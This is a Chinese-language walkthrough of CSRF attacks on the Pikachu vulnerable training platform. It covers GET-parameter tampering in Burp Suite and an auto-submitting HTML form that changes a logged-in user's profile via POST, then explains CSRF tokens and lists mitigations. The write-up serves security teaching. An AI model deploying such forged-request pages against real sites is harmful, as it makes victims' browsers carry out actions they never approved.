pikachu-csrf

 

 

一、get型csrf

 

1.首先登陆一下,lucy:123456

发现能够登陆

pikachu-csrf

2.我们尝试修改一下个人信息并提交,同时利用BurpSuite抓包查看修改个人信息的请求内容,我们改一下地址

pikachu-csrf

 

 

 

 

 从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,在burp suite里直接修改,把构造的URL中把地址add改为cambridge。然后grady一点击就修改了地址。

 pikachu-csrf

 

 

 

 3.GET请求修改个人信息,所有的参数都在URL中体现,这种方式使比较好利用的,我们只要能够伪造出来这个链接,把对应的参数内容修改成为我们需要的值,让带有登录态的用户去点击就完成了我们的攻击。

 

二、post型csrf

如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击

这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。

在自己的机子上编写一个html文件

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
将自己的html文件地址发给受害者就会自动修改信息

三、csrf token

CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造

  • 每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证

    我们进入Pikachu平台的CSRF(token)页面并登录,我们可以看一下这个GET请求

pikachu-csrf

 

 

 

 跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了

看下控制台源码,看下这个表单,每次点击修改个人信息 都会去访问 token_get_edit_.php 这个文件,这个文件就会生成一个token,
value就是后端发过来的,type是隐藏的额,在前端看不到,但是在源码中能看到。每次点提交,token也会被提交到后台,后台会对token进行验证,如果和当前session里面的token相等,才会让你提交。

 

防护措施总结:

  • 增加Token验证(常用做法)
    • 对关键操作增加Token参数,token必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用)
    • 不要在客户端保存敏感信息(比如身份验证信息)
    • 退出、关闭浏览器时的会话过期机制
    • 设置会话过机制,比如15分钟无操作,则自动登录超时
  • 访问控制安全管理
    • 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    • 敏感信息的修改使用POST,而不是GET
    • 通过HTTP头部中的REFERER来限制原页面
  • 增加验证码
    • 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)


上一篇:pikachu--(4)sql


下一篇:pikachu-暴力破解